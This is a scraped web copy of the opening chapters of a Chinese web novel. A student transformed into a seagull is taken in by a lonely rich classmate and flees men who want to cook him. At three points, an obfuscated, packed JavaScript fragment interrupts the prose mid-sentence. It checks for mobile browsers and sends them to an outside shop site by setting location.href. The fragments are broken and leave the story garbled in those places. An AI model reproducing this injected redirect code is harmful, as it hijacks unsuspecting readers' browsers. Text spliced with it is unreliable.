《穿成海鸥后被豪门留子强养了》 1. “嘎嘎嘎——嘎嘎” 下午四点,人来人往的城市街道上,一团雪白瘦小的身影蹲在马路牙子上,静静地等待着一旁的红绿灯变绿。 M市的冬天很冷。 此时虽然只是11月初,天空中却已经飘起了雪花,在人行道上铺了一层雪白。 商场门口的巨幅广告牌上播放着感恩节的打折消息,路上的行人们却都行色匆匆,没人在橱窗前驻足。 他们戴着厚厚的帽子和围巾,尽量将脖子蜷缩起来,试图抵御从各个角度灌进衣服里的寒风。 这座位于美洲北部的城市总有下不完的暴风雪,而今天又是星期五,大家都想在天黑透之前早些回家。 融化的雪水沿着无烟一滴滴砸落,在地上结成了一条长长的冰柱。 街道上买热狗的小摊贩完全没有生意,只能早早收了工。 大胡子老板将遮阳伞“咔哒”一收,上面积的雪扑簌簌掉了一地,不偏不倚砸在了沈望的身上。 “哈啾——好冷好冷——” 沈望后脖颈一凉,被冻得一个机灵。 他抖了抖身上的羽毛,可寒意怎么也驱散不尽。 他只能尽量把身子蜷缩成更小的一团,可即便这样,身上还是很快结了一层冰晶,冻得他骨头发酥,整个人晕乎乎的。 “海鸥兄,杵在这儿干嘛呢,一起去捕鱼不?” 一道黑影从空中掠过。 下一秒,一只膘肥体壮的银鸥停在了一旁的路灯上,敦实的体重将灯柱压得颤了颤。上面的积雪扑簌簌落下,砸了沈望满头满脸。 红嘴渔鸥住在附近的码头。 作为海洋鱼类们最严厉的父亲,它嘴角还挂着中午吃剩的鱼肉残渣,浅灰色的翅膀毛顺滑柔软,虽然也冻得起了冰疙瘩,可和沈望比起来,他的状态可以说是要好上太多了。 “不了,你自己去吧。” 面对红嘴渔鸥的盛情邀请,沈望面无表情地翘着尾巴尖,身体没有挪动一步,“我不怎么饿。” “卧槽,老兄!这么有实力的吗?” 在食物稀缺的冬季,野生的鸟类们如果不吃饱肚子,随时都有可能嘎在漫长的暴风雪中。 虽然只要拉得下面子,它们可以去向人类讨食。 可这鬼天气,就连人类也不怎么出没,所以即便是红嘴渔鸥自己,运气不好的时候,也会为了食物发愁。 渔鸥原本还在用喙梳理自己的羽毛,闻言有些惊讶地看了沈望一眼。见他神色平静,像是来真的,只能悻悻地飞走了。 沈望维持着纹丝不动的姿势,看上去完全不在意,其实是冻得有点硬了。 “好饿…谁有吃的……” 一辆汽车没有注意到沈望,轮胎溅起的水将沈望淋成了落汤鸡。 由于体型太小,这已经是沈望第不知道多少次被误伤。 “嘎嘎——人,注意脚下啊啊啊——” 沈望无能狂怒的嚎了一嗓子,可为了不被碾死,只能狼狈的飞速逃离,踩着斑马线跑向街道的另一头。 “妈妈,这只小鸽子在干嘛呀,它居然知道过马路要走斑马线吗。” 一个扎着羊角辫的小女孩发现了正在过马路的沈望,她扯了扯一旁母亲的衣摆,惊讶地叫出了声。 “嗯?真的诶,不过那是海鸥,宝贝。” 牵着她的女人原本正在查看公交线路,闻言也朝着沈望的方向看了过来。 她仔细打量了一下迈着小短腿,努力奔向马路另一头的沈望,总感觉有哪里不太对,但又好像说不上来。 “对吧对吧,妈妈。但是小鸽子为什么不飞呀,非要走着过马路,这样看好像小鸡啊。” “呃…可能它想遵守交通规则?”女人挠了挠头,“这个妈妈真的不知道了,不过那是海鸥,宝贝。” …… …… 这是沈望穿成海鸥的第二个小时。 前一秒,沈望还在自己的学生公寓里试图睡觉。 后一秒,眼睛一闭一睁,他失去了人型,变成了这么一只弱小可怜无助的海鸥。 还直接刷新在了学校附近的大街上。 “?” 濒临断水断电的出租屋消失了,取而代之的是湿透的柏油马路。 沈望望抬起眼,直接看呆了。 熟悉的建筑物仿佛被等比例放大了一般,变得高耸入云。行人们全部变成了高大的巨人,而沈望只不过是一个没留神,就差点被一只穿着雨靴的脚踩到。 “笨鸟,走路看路啊!” 有什么东西将沈望撞飞到了一旁,他还来不及吃痛地叫出声,脑袋就重重砸在了路边商铺的玻璃门上,发出“咚”的一声闷响。 好痛,好痛好痛好痛—— 沈望感觉自己的脑袋上鼓起了一个大包,他想要抬手去捂,可却只伸出了一只毛茸茸的翅膀。 “???” 什么情况? 沈望下意识看向身侧的玻璃,却发现里面什么也没有。 找寻了好半天,他终于在玻璃底部看到了一只瘦瘦小小的倒影。 雪白的羽毛,灰色的翅膀,长长的,带着一抹黑色的尾巴尖……他居然穿越成了一只海鸥。 卧槽,沈望整只鸟呆在了原地,脑子里一片空白。 他怎么也想不到,穿越这种只会出现在小说中的事情,居然也会发生在自己身上。 他围着玻璃转了个圈,确信自己没有在做梦后,只感觉天都要塌了。 这是什么逆天匹配机制,让他穿成这么个小东西。 这和直接告诉他,以后要开始流浪了有什么区别啊… “汪汪汪——汪汪——” 就在他努力消化着现在的情况时,沈望忽然感觉尾巴一痛。 他回过头,就见一只和他差不多高的恶霸犬被不知什么人牵着,对他裂开嘴,露出了满口锋利的牙齿。 “啊啊啊啊——你干嘛!!” 狗嘴一张一合,似乎说了什么,可沈望整个人早已吓傻,完全没仔细听—— 别,别咬我! 沈望天生就很怕狗,更不用说……是等比例放大了无数倍,能一口把他吞了的狗。 小鸟的后颈瞬间炸了毛,被吓得僵在了原地。 “鸥兄,别怕!!飞起来啊,飞起来然后啄它!” 就在此时,一只躲在房檐下避雨的真·鸽子注意到了这边的险情。 它急得直拍大腿,见被吓呆了的沈望迟迟没有动静,只能无奈抬起脚,将一颗小石子弹到了恶霸犬的脑门上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487363|202087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗷嗷嗷——” 恶霸犬吃痛地哀叫一声,被吸引了注意。 它伸出舌头,呼哧呼哧去舔额头上鼓起的包,没有功夫再去理会沈望。 “快——鸥兄,趁现在快跑——” 沈望获取到了宝贵的逃跑时间,他赶忙学着鸽子的模样,张开翅膀想要飞走。 可扑腾了两下,他踩在地上的双脚还是纹丝不动的站在地上,甚至重心不稳,一屁股坐在了地上。 这时,沈望绝望地发现,自己虽然变成了海鸥,可芯子还是人类…… 长在身上的翅膀只是摆设,他根本不会飞。 “……” 意识到了这一点后,沈望顿时感觉汗如雨下,天都塌了。 恶霸犬的喘息声近在咫尺,沈望来不及悲愤。他迅速从地上弹了起来,不等那狗再次向他发难,狼狈地迈起小细腿转身就跑。 “哒哒哒—哒哒—” 小鸟的爪子在人行道上发出清脆的声响,即便沈望已经在很努力的避让行人和车辆,还是被撞得七荤八素,翅膀毛也被薅掉了好几根。 他不敢回头,也顾不上方向,只能一个劲朝着前面跑,直到再也听不见恶霸犬汪汪呜呜的吠叫,他才终于停下脚步,依靠着墙根蹲了下来。 脚好痛,头也好晕。 从穿越到现在,沈望没有找到一点食物,还一直被追的到处跑。紧张的氛围暂时消散后,寒冷和饥饿迎来了更猛烈的反扑。 沈望感觉天好像越来越冷了。 寒潮来临,雪越下越大,在地上积起了好几厘米深。 只不过是一小会儿功夫,原本还蒙蒙亮的天已经完全黑了下去,寒风卷过细小的冰粒,冷冷地拍打在沈望脸上,它深一脚,浅一脚的往前走了两步,发现自己来到了一处陌生的居民区。 远离了闹市区的街道变得很安静,沈望除了自己爪子踩在地面上的沙沙声,什么也听不见。大树遮挡住了视线,沈望看不清路牌上写的什么,凛冽的风雪中,他能隐约瞥见远处CBD的灯光,可这些都像是隔着一层雾,让他看不真切。 沈望意识到,自己已经彻底迷路,走不回去了。 越来越大的暴风雪中,气温随着入夜还在持续的降。 街上已经什么人影都看不到了,就连汽车的声音也听不见。沈望冒着大雪,只能慢慢地往前走,试图寻找到一个可以避一避的地方。 他拖着越来越笨重的身子,艰难地挪动了一小段。 最终,它还是倒在了雪地里,意识开始变得模糊。 好冷啊,这是…要死了吗…… 雪花很快埋没了沈望的翅膀和大半个身子,沈望只感觉眼皮越来越沉,随时都要彻底地睡过去。 期中作业还没写完呢,看来是不用写了。 沈望有些自嘲的想,这个学期的书本费刚交…如果现在就死了的话,好像也太亏得了吧,早知道昨晚奖励自己吃点好的了…… 就在他的意识彻底消散的前一刻,他隐约间似乎听见了沙沙的脚步声。 有人来了吗? 沈望想要支撑起身子,可他太虚弱了,全身上下动弹不得。 没等看清来人的情形,他的大脑一片空白,彻底冻晕了过去。 2. “捡到鸟了家人们” 沈望感觉自己好像睡了很长的一觉,再次恢复意识时,他的第一反应就是,好软,好暖和,好舒服! 这是上天堂了吗…… 身下轻飘飘的,原来是铺着一张柔软舒适的小毯子。 食物香味若有若无的钻进鼻子里,勾得人满肚子馋虫。 沈望迷迷糊糊地转过头,发现自己身侧放着一盘香喷喷的炸薯条。 薯条的外表金黄酥脆,还冒着热气。 油香扑鼻的味道惹得他不由自主咽了咽口水…更令人目瞪口呆的是,沈望在薯条上嗅到了一股异香,那薯条表面上还覆盖着一层亮晶晶的东西。 他的肚子咕噜咕噜叫了起来,眼角余光撇到垃圾桶里的外卖袋子,只见那上面赫然写着——黑松露金箔厚切薯条。 卧槽!! 沈望傻眼了。 天堂的生活这么奢侈的吗? 他茫然地抬起头,视野里却出现了一张被无限放大的人脸。 人脸很帅,还莫名有几分熟悉。沈望用翅膀揉了揉眼睛,仔细一看——这高挺的鼻梁,刀削般的英俊面庞,紧蹙的眉头和黑沉沉的眸子,怎么和同系那个总翘课的阴沉富哥严诺那么像呢。 咦,是熟人!你也上天堂了吗? 沈望一时间已经有点分辨不出现在的情况到底是幻觉还是真实的了。 他一轱辘爬起来,原本只是想掐一掐自己的大腿看看是不是在做梦,却一脚踩空,“哐当”一声摔倒在了地上。 装着薯条的一次性纸盘被打翻,薯条和松露撒了一地。 沈望摔得头晕眼花,眼前是装修简约却一看就价格不菲的天花板。 下一刻,那张原本垫在身下的毯子砸在了他的脸上,挡住了他的视线。 “嘎嘎——” 事到如今,沈望终于确信,他昨天快要嘎掉的时候,居然是被严诺救了。 好心的富哥不仅救了他的命,还顺便把他捡回家了。 这算好事吗? 沈望想起了那张帅得人神共愤却阴郁得要死的脸,还没琢磨出个结果,脑门上的毯子就被掀开了。 “小鸟,你饿不饿,要吃薯条吗?” 一双骨节分明的大手拿起掉在地上的薯条,细细掰成小块,放回了盘子里。 “家里没有饲料,这个你…先凑合着吃吧。” 男人推了推盘子,将它摆在沈望嘴边。 他的声音沙哑,吐字也有点生硬,听起来……就像是很长时间没有好好说过话,语言功能已经有些生疏了。 似乎是担心沈望怕他,严诺和他说话的声音很轻,也没主动上手去摸他。 明明是在自己家里,可严诺却局促的仿佛他才是那个客人。 沈望看了看那一盘香气扑鼻的炸薯条,又看了看身前的严诺,面对诱惑选择了良好的接受,低下头去啄了一块,大快朵颐地吃了起来。 富哥果然是富哥,给他的薯条看上去应该是刚买来的,吃进嘴里还是热乎的。 沈望已经不记得已经多久没有吃过饱饭了,肚子被填满的感觉真好,舒服得他眼睛都眯起来了。 海鸥没牙齿,吃东西嚼不动,只能啄碎了硬吞。 可就算这样,一大盘薯条没过多久就被吃得干干净净,香得沈望瘫坐在地上,晕碳了。 好幸福啊。瘦巴巴的小海鸥肚子鼓鼓,像颗白色的保龄球。 沈望将翅膀搭在胸前,发现严诺还在盯着他看,这才想起刚才吃得太着急了,完全忘了谢谢人家。 小鸟一轱辘从地上爬了起来,凑过去蹭了蹭严诺的手。 人,谢谢款待。 薯条很好吃,5星好评,震撼美味。 没有人能拒绝毛茸茸的生物,更何况是主动示好,让人随意搓圆揉扁的毛茸茸。 严诺一开始似乎是不太敢摸他的。 可在接触到小海鸥软乎乎的羽毛后,人类原本僵硬的身体,还是微不可查的松懈了几分。 沈望是一只红嘴鸥,体型比鸥中恶霸黑尾鸥和银鸥小很多。 他的羽毛几乎是纯白的,只有尾巴尖尖处有一簇小小的黑羽,看上去就格外的好摸。 严诺原本只是打算轻轻摸一摸的,可或许是小海鸥的手感太美妙了,他摸完一下后,忍不住又来了第二下,第三下。 见沈望完全没有反感,甚至还哼哼唧唧的十分享受,他大着胆子,稍稍用力搓了搓沈望的脑袋,指尖陷进了蓬松的羽毛中。 “嘎嘎——怎么样,人?鸥的手感不错吧——” 见严诺的眼神都变得清澈了,沈望得意极了,没忍住发出了嘎嘎嘎嘎的笑声。 “咦,什么声音,谁在说话?” 伴随着一阵破锣般的鸥鸣,沈望被自己那呕哑嘲哳难为听的嚎叫吓了一跳。 严诺的手也触电般收了回去。 沈望:???? 不是哥们,你能听得懂海鸥说话?! 这话他没敢说出口,是在心里咆哮出来的。 还好自己刚才没有说出什么更炸裂的,比如自己其实是他同学什么的。 要不然,他和严诺肯定要疯一个,说不定他的鸥屁股都还没坐热,就要被当成妖怪扔出去了。 见严诺并没有真正发现什么,只当是自己熬夜熬多了产生了幻觉,沈望心虚地转了转眼睛,趁着严诺收拾地上的食物残渣时,干脆跳上了他的肩膀,打算缓和一下气氛。 人,寂寞雪夜,有鸥陪着你—— 沈望梳理着自己的羽毛,看着严诺默默地收拾家里。 感受到落在肩头的重量,严诺的脚步顿了顿,似乎有点紧张。 他没看沈望,也没再说什么,不知是怕沈望会飞走,还是单纯的没有话题和他说。 严诺家是个独栋的三层别墅,光是一楼的面积就大得望不到头。 厨房是开放式的岛台,会客厅还有个很漂亮的手工红砖壁炉,里面填满了劈好的柴火,正烧得旺盛。 然而,这栋房子的硬装有多豪华,软装就有多简约。 家具摆件少得可怜,主卧除了电脑桌和床外愣是没有一件多余的摆设,整个家跟个样板房一样,完全没有活人的气息,透露着一股浓浓的X冷淡风。 和它主人的风格一模一样。 所以说,这样一个连家里都空空荡荡的人,会愿意养一只累赘海鸥吗? 沈望挠了挠屁股,有些不太确定。 严诺家里很温暖,柴火燃烧的噼啪声让人有种莫名的安全感。 可近在咫尺的落地窗外,狂风卷起雪花,石子和被吹断的枯树枝,将玻璃吹得呜呜作响。融化的雪水蜿蜒成蜘蛛网状,和别墅里的温暖舒适形成了鲜明的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487364|202087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对比。 这种天气被丢到外面去的话,肯定是必死无疑的。 沈望缩了缩脖子,他得想办法留下来。 人,别打游戏了,摸摸我,摸摸我。 意识到自己的叫声实在是有点难听后,沈望决定做一只哑巴鸥。 能用行动解决的事情就绝不再开口。 待到严诺收拾完薯条,重新坐回椅子里准备开始玩游戏时,沈望热情似火地将脑袋枕在他的手腕上蹭啊蹭,喉咙里发出了咕噜咕噜的声音。 快摸,快摸鸥啊。 房间里很昏暗,虽然是大白天,可严诺家窗帘拉得严严实实,透不进一点的光线。 严诺没有要去学校的意思,不知是没课还是翘了。 电脑里播放着游戏的待机动画,严诺开了罐可乐,边喝边等着匹配队友。 发现沈望跳进自己怀里后,他原本打算敲击键盘的动作停在半空,最终取消了匹配,手落抚摸上了海鸥的后背,帮他顺了顺毛。 严诺从来没有和小动物这么近距离的接触过。 随手将沈望捡回来时,他没想那么多,本来是打算等他醒过来,喂一顿吃的后就把他放生的。 可是…看着如此自来熟,对他完全没有防备的沈望,严诺心中冷硬坚固的冰山悄然生出了一丝裂痕。 他太孤单了,身边没什么能说得上话的朋友,每天除了拿外卖和偶尔去上上逃不掉的课之外根本见不了一点阳光,活得像只不见光的老鼠。 如果沈望能留在他的身边,每天闹哄哄地缠着他,生活会不会就没有那么寂寞了呢。 真好啊,这小家伙揣怀里还怪暖和的,就跟抱着个小炉子一样。 一瞬间,严诺就连以后给沈望买的笼子要是什么颜色都想好了。 可下一秒,看着沈望下意识伸出翅膀,用嘴喙梳理羽毛,他瞬间清醒了过来。 真的要把这小家伙一辈子关在家里吗? 沈望应该不会乐意被强行绑在自己身边,永远被关在这么小小的一个房间里吧。 先不说沈望有翅膀,本来就应该在天空中自由自在的飞翔,更何况…他连自己都照顾的乱七八糟,那里能照顾得好沈望呢。 还是算了吧。严诺想。 他搓了搓脸,抓过手边的纸袋子,打开来后,里面还剩下半份薯条。 那是给沈望分完后,严诺给自己留的晚饭。 …… …… 沈望原本正若有所思的一行行扫视严诺摆在书桌边的,做得乱七八糟的专业课作业,心想他上课这是一点也没听啊。 一抬头,却发现严诺不知什么时候已经把电脑关了,嘴角牵起了一抹很轻的弧度。 见小海鸥蹲在他腿上,一副呆萌可爱,不知在想什么的样子。严诺捏了捏沈望的嘴巴尖,将他抓起来,放在了电脑桌上。 剩下的半袋薯条被从袋子里倒了出来,严诺像刚才一样把它们一点点掰碎了,放在沈望面前。 “慢慢吃吧,吃饱一点,等雪停了就走吧。” “以后天气再不好了,记得要提前躲起来。” 窗外的风声似乎小了下去,几缕阳光透过窗帘的缝隙洒进了屋内。 M市的坏天气来得快去的也快,沈望已经没有理由继续留在这里了。 说罢,严诺不再看沈望,推开了家门。 3. 老火鸽子汤 本就安静的别墅彻底变得一片死寂。 沈望只能落寞地跳下书桌,回到客厅里。 开放式厨房的台面干净得像镜子一样,沈望在里面看见了自己的影子。 严诺应该是那种不怎么会自己开火做饭的人,家里的橱柜都是空的,里面只有几包泡面和一袋火腿肠。 洗菜池上方的窗户被留了一道缝隙,沈望记得它早前还是被关着的,应该是严诺专门给他留着,让他可以从自由离开的。 靠着讨好严诺留下来这招应该是彻底失败了。 唉,没办法。 沈望垂下头,失望地顺了顺胸前的毛毛,来到窗边,认命地开始琢磨怎么才能飞到窗框上去。 好高啊,这真的能飞上去吗。 其他鸟是怎么飞的啊,谁能来教教他。 沈望抬起头,目测了一下地板到窗户的距离,尝试着扑扇翅膀,爪子用力一蹬。 “嗖——砰——” 伴随着一声沉闷的巨响,沈望一头撞在了透明的玻璃上,脑门上多出了个包。 几片雪白的羽毛如同雪花般慢悠悠地飘落在地上,茂密的翅膀毛秃了一块。 这次经过充足的心理准备和思想斗争,沈望倒是成功飞起来了。 可他不会控制方向,还因为恐高不敢往前看,以至于他明明几乎就要飞到窗户口,却忘了刹车,直接给玻璃窗磕了一个,翅膀也被夹了一下。 “哎哟——” 沈望跌坐在地上,摔了个屁股蹲。 老天爷啊,既然不打算让他会飞,干脆就别让他穿成个有翅膀的动物呗。 沈望无能狂怒,和其他小鸟一样抬起爪子挠了挠脑门。 在地上生了会气后,愤怒又无力地重新爬起来,凭着感觉再次开始往外飞。 “砰——砰砰——” 十分钟后,头晕眼花的沈望终于成功挤出了窗户口,跳到了外面的雪地上。 “呼——” 离开了室内,刺骨的冷空气瞬间包裹了沈望的全身。 松软的雪埋到了沈望脖子的位置,所幸海鸥的毛毛很厚实,他感觉似乎勉强还能接受。 抖了抖羽毛,沈望从雪堆里钻出来,深一脚浅一脚的出了严诺家的院子,来到了大街上。 严诺住的是M市黄金地带最昂贵,环境最好的富人区。 寸土寸金的城市之中被开辟出来了僻静的一角,能住在里面的人都是非富即贵,沈望从来没来过这里,只依稀记得,很多富豪和顶尖政客都在这附近购置有房产。 不过是环顾了一下四周,沈望就捕捉到了不少之前只在报纸新闻上见过的面孔。 沈望:…… 真是壕无人性啊。 沈望打死也不想再飞了,只能继续当走地鸡。 他凭着感觉往前溜达了几个街区,完全不知道该去哪儿。 好像除了想办法回自己的学生公寓外没有别的地方能去了。 可是他一只海鸥,能怎么回去,回去了又能干什么呢。 不过不管怎么样,他都要先回市区里去,不能一直留在这里。 此时应该是早上,街上的人不算少,有钱人们带着帽子和口罩行色匆匆,路过沈望去上班上学。 没有人找他的麻烦,可也没有人会为他停留。 这地方不行,连个会给路边的海鸥喂垃圾食品的人都不可能有。 M市作为一个繁荣且人口密集的金融、教育之都,市区CBD高楼林立,基础设施发达,还有个颇具规模的大学城。 为了争抢白领和学生们的午饭生意,市中心最繁华的几个街道总是挤满了各种卖热狗薯条玉米卷之类的小摊贩。 每到饭点,铁板炙烤食物的滋滋香气便会飘过大街小巷,给这座处于寒带的城市添了几分温暖的烟火气。 和人类一样,住在周边码头的鸟类们自然也无法拒绝美味的碳水炸弹,它们总会盘踞在小摊贩们常常出没的天桥上空。 虽然城市有禁止投喂动物的规定,可运气好的话,心善的路人还是会故意留下一些吃不完的食物留给过冬的鸟,就算运气不好,掉在地上的残渣也可以让鸟群勉强果腹。 可在这个充满了金钱冰冷气息的富人区……一切都不一样了。 看了一眼路人们手中拿着颜色漆黑的美式咖啡和硬得像铁杵一样的法棍,沈望忍不住想,严诺应该是为数不多的爱吃薯条汉堡的有钱人吧。 品味没有被金钱夺舍,真好。 走着走着,天色好像阴沉了下来,好不容易出来的阳光不知何时被云层覆盖住。 细细密密的雨丝夹着雪花悄然落下,其中一片飘到了沈望脸上,痒得他整只鸟激灵了一下。 他刚想伸出爪子挠一挠,一辆公交车从他身边呼啸而过,车尾气喷在了他满头,让他忍不住打了个喷嚏。 “哈啾——” 沈望目光落在了从身侧飞速驶过的公交上。如果能想办法飞到公交顶,或者干脆趁司机不注意直接溜上车,是不是就能成功回到市中心去了呢。 想到这里,沈望知道,机会不等人。 他眼神坚毅,趁着乘客正对着车站线路图,在清点手中的硬币计算乘车的价格的空挡,鼓足了劲往车门的方向冲去。 公交司机是个白胡子白头发老爷爷,他并没有注意到试图蒙混过关的沈望,沈望趁机钻过人群,眼看就要跳上车厢。 可就在他即将成功之际,头顶忽然投下了一片黑影,沈望只感觉身子骤然疼痛,随即只听‘咔嚓’一声,翅膀处传来了钻心的疼痛。 “嚯,这是什么?” 公交车门在沈望眼前无情地关上。 眼看着车子越开越远,沈望喉咙里发出了绝望地叫喊,可却已经无济于事。 “是鸽子吗,怎么跑人堆里来了?智商真低。” 一道带着顽劣轻佻的男声响起,下一刻,沈望被囫囵个提了起来,一张长满麻子,满脸横肉的脸出现在了他的视线中。 一个穿着大LOGO名牌的胖留学生靠着车站的柱子,他嘴里叼着根没点的香烟,眼神上下打量了一圈沈望,完全没有理会他绝望的扑腾。 “小李,你家里在国内不是开酒楼的吗?今晚去你家,你下厨给哥几个露一手呗,鸽子汤会做吗?就你们老广那边常说的,什么老火靓汤。” 他掂了一下沈望的重量,似乎嫌弃他肉有点少,不慎满意的撇了撇嘴。 随即,沈望被随手扔给了同行的另外几个人,一行人似乎觉得沈望惊恐的模样甚是有趣,笑嘻嘻地将他传阅了一番。 随后,其中一人抓住沈望的脚踝,如同拎烧鸡一般将它倒着提起来,就要往随身的挎包里塞。 “大哥,咱们这是不是违反动物保护法了,让人看到了会不会不太好?” 抓沈望的那个胖男人似乎是他们那个小团体里的头头,其他人面对他都是一副小心翼翼的样子。 其中有个戴眼镜的小个子似乎怕摊上事,不放心的嘀咕了一句,男人立刻冷笑了一声,一巴掌拍在了他的后脑勺上。 “怕什么,就算被看到了又怎么样,大不了就罚点钱,就当打发要饭的了。” “就是就是,你个蠢货懂什么。咱们大哥都住大别墅了,还差那两个钱,反倒是在这鸟不拉屎的地方,这种新鲜的野味可是可遇不可求的。” 几人说着说着,一辆黑色的保时捷缓缓停在了公交站前,是胖男人小弟的车。 沈望原本已经被颠得头晕眼花,快要吐出来,可眼看着带着白手套的司机走下车,就要为富二代们打开车门,他却陡然清醒了过来。 如果现在再逃不出去,一旦被带上车,他就彻底完蛋,很快就要变成一锅汤了。 沈望强忍着想吐的欲望,他找准了机会,趁着胖男人和司机摸打火机想要点烟时,他鼓足了力气,上半身腾空,毫无保留地狠狠地啄在了男人抓着他的右手上。 “啊啊啊啊啊——” 如同杀猪般的惨叫声骤然响起,引得一旁的路人纷纷侧目。 胖男人嘴里不干不净地吐出了一连串脏话,吃痛的暂时松开了手,将沈望往地上一甩。 等得就是现在!! 沈望看准了富二代们脚边的缝隙,如同一只离弦的箭般“嗖”地往前冲去,连飞带跑的开始逃命。 由于不熟悉路线,沈望根本不知道什么地方安全,只能凭着本能和直觉,一刻不停地没命奔逃…几片鸟毛飞到了胖男人的眼前,惹得他大骂一声,气得鼻孔里不停呼呼吐气。 “给我追,都给我追!!” …… …… 恰好处于强风带的M市,变天总是比翻书还快,明明半小时前还晴空万里,此时太阳已经看不到一点点踪迹,就连天气预报都还没来得及更新。 “咔嚓——” 树枝被积雪压断,砸在了玻璃窗上,吸引了教室里所有学生的注意。 严诺百无聊赖的转着笔,有一搭没一搭的听着口音浓重的法国裔教授讲微积分。听见下面的骚动,讲台上的老头没有停下板书的动作,粉笔下计算步骤唰唰写得飞快。 “唉,又下雪了吗?真是没完没了了。” “真烦,我没带伞,衣服也穿少了。等会儿回家有没有人一起打个车,我实在不想坐校巴了。” 几分钟后,课堂终于进入了尾声,剩下的是小组讨论和自由项目的时间,学生们三三两两凑在一块,仔细观察了一番外面的天色后,纷纷叫苦不迭。 严诺独自坐在教室的角落,听着其他人有一搭没一搭的抱怨,心底没来由的升起了一丝烦躁和不安。 脑子里浮现出了一道小小的身影,指尖仿佛还残存着温热的触感。 他应该已经走了吧,严诺揉了揉有些酸痛的眉心,有些失落地想。 鸟儿天生向往自由,是不会愿意被禁锢在房子里的。 早上严诺出门之前,刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487365|202087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意没有关厨房的窗户,为的就是方便沈望离开。 可是…看着外面狂风呼啸的天气,他忽然有点希望沈望能不要离开。 早知道先不开窗了,应该再多留他几晚,等他彻底养好精神,等天气彻底晴了,再让他走。 如果他每天都给沈望足够多的好吃的,再陪他玩一会儿的话,沈望应该不会怪罪自己暂时让他失去自由吧。 与此同时,另一边的沈望大口大口地喘着气,耳畔掠过呼啸的风声,深一脚浅一脚的积雪让他寸步难行,纷扬的雪片如同刀子一般刮在他的脸上,可是此时恐惧占据上风,沈望根本没有感受到多少疼痛。 不过是几分钟的时间,原本的还不算大的雪势已然变成了新一轮的风暴。不知道过了多久,久到沈望身体发软,已经快要跑不动时,周遭的景象越来越熟悉,他发现自己竟然回到了严诺家附近。 “c,今天我一定要炖了这只死鸟,给我抓住他,别让他跑了!” 胖男人捂着被沈望咬破的手,气急败坏的叫骂声从沈望身后不远处传来。纷沓的脚步声离沈望很近,胖男人的跟班们大概是不想放弃这么一个表忠心的机会,纷纷朝着沈望的方向追来。 有好几双大手好几次都差点触碰到了他的尾巴,沈望不顾身体传来的疼痛,拖着被男人扭伤的翅膀,一瘸一拐的不停往前挪动。 沈望不记得自己跑了多久,眼前雾蒙蒙的一片,脑子里一片空白。迷迷糊糊之间,他好像看见了严诺的房子,可明明看上去近在咫尺,可他跑了很久很久,距离却好像完全没动。 “快追,快追——这死鸟的翅膀刚刚被老子卸了,他跑不了多远的,抓住了以后看我不整死他。” 胖男人远远的被甩在了后面,他跑不动了,干脆撑着膝盖停了下来,继续对着跟班们颐指气使,让他们一定要将沈望拿下。 “呼——呼——” 沈望不敢回头多看,双腿如同灌了铅一般沉重。海鸥的身体太小了,即便他拼尽全力,追兵们和他的距离却还是约拉越近。 “扑通——” 忽然,沈望踩到了一处过于松软的雪堆,整个人失去了平衡,重重地陷了进去,之后无论他再怎样挣扎,都爬不出来了。 完了——完了完了完了—— 沈望绝望地闭上眼,知道自己这下大概真的要领盒饭了。 现在该怎么办呢。 沈望的大脑一片空白,眼下如果不想个办法自救的话,那他肯定无法活着出去。 终于,在胖男人抬手的间隙,沈望抓住了他松懈的机会,朝着他头发稀疏的脑门上狠狠啄了一口。 “嘎嘎嘎嘎——” 这一下沈望用了十足的力气,可下一秒,他却陡然觉得触感有些不对。 一顶假发被鸟嘴甩飞了出去,砸在了远处的马路上。 恰巧一辆汽车驶过,将精心打理的昂贵假发碾成了一滩烂泥,而胖男人的脑门瞬间变得无比光滑锃亮。 沈望:“???” 围观的路人:“????” “快看,快看啊——这鸟疯了,怎么一直在啄那个人。” “哈哈哈哈,怎么还把人的假发啄飞了。” 或许是因为沈望制造出的动静太大,就连马路对面的路人们纷纷朝着这边聚集过来,露出了看好戏的眼神。 “嗐,我都看到了,这男的简直活该。人家鸽子走路走得好好的,他非要上来抓它,要我说,这小家伙干得漂亮!” 由于聚集过来的人越来越多,胖男人知道自己的计划是进行不成了,只能恶声恶气的骂了几句脏话,狼狈的钻进了小弟的车里扬长而去。 “呼——呼——” 一切的变故都发生的太过突然,看着那群人离去的背影,沈望出了一身冷汗,全身都在不停地发抖。 得救了…… 就算沈望自己,扑上去的时候也没有十足的把握,还好那胖男人武力值为负数,这才让他逃过一劫。 休息了一会儿后,人群给沈望让出了一个通道,让沈望得以灰头土脸的从地上爬了起来。 正打算琢磨琢磨下一步该怎么办,却发现天空中掠过了一片灰影。 